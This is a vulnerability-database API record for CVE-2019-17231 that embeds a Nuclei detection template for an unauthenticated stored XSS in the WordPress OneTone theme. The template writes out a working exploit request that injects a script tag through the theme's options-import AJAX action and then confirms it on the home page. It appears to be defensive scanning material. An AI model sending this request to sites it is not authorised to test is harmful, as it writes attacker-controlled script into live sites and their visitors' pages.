{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-17231/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-17231/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-17231/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-17231/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-17231/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-17231"},"sightings":{"href":"/api/v1/sightings/cve-2019-17231"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-17231.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2019-17231\n\ninfo:\n  name: WordPress OneTone theme <= 3.0.6 – Unauthenticated Stored XSS\n  author: daffainfo\n  severity: medium\n  description: |\n    includes/theme-functions.php in the OneTone theme through 3.0.6 for WordPress has multiple stored XSS issues.\n  impact: |\n    Unauthenticated attackers can inject malicious JavaScript that will be stored and executed when users visit the site, potentially stealing cookies, credentials, or performing actions on behalf of all site visitors.\n  remediation: |\n    Update the OneTone theme to version 3.0.7 or later, or switch to a different theme.\n  reference:\n    - https://blog.sucuri.net/2020/04/onetone-vulnerability-leads-to-javascript-cookie-hijacking.html\n    - https://blog.nintechnet.com/unauthenticated-stored-xss-vulnerability-in-wordpress-onetone-theme-unpatched/\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-17231\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2019-17231\n    epss-score: 0.01462\n    epss-percentile: 0.73702\n    cpe: cpe:2.3:a:mageewp:onetone:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: mageewp\n    product: onetone\n    framework: wordpress\n    publicwww-query: \"/wp-content/themes/onetone\"\n  tags: cve,cve2019,wordpress,wp-theme,wp,onetone,xss,intrusive,vkev,vuln\n\nvariables:\n  string: \"{{rand_text_numeric(13)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=onetone_options_import&options={\"top_bar_info_content\":\"<script>console.log({{string}})</script>\",\"display_top_bar\":\"yes\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"Import successful.\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains_all(body, \"<script>console.log({{string}})</script>\",\"top-bar-info\")'\n        condition: and\n# digest: 4a0a00473045022039db4a507c7fd37a1a6a21133aef4a4c163c93d243a76d8494a426388d97f9a2022100b01c74db3b43b5aac6871a96625e729f383b1a6af1fcd4f7dd888a4741b0acb8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-17231"}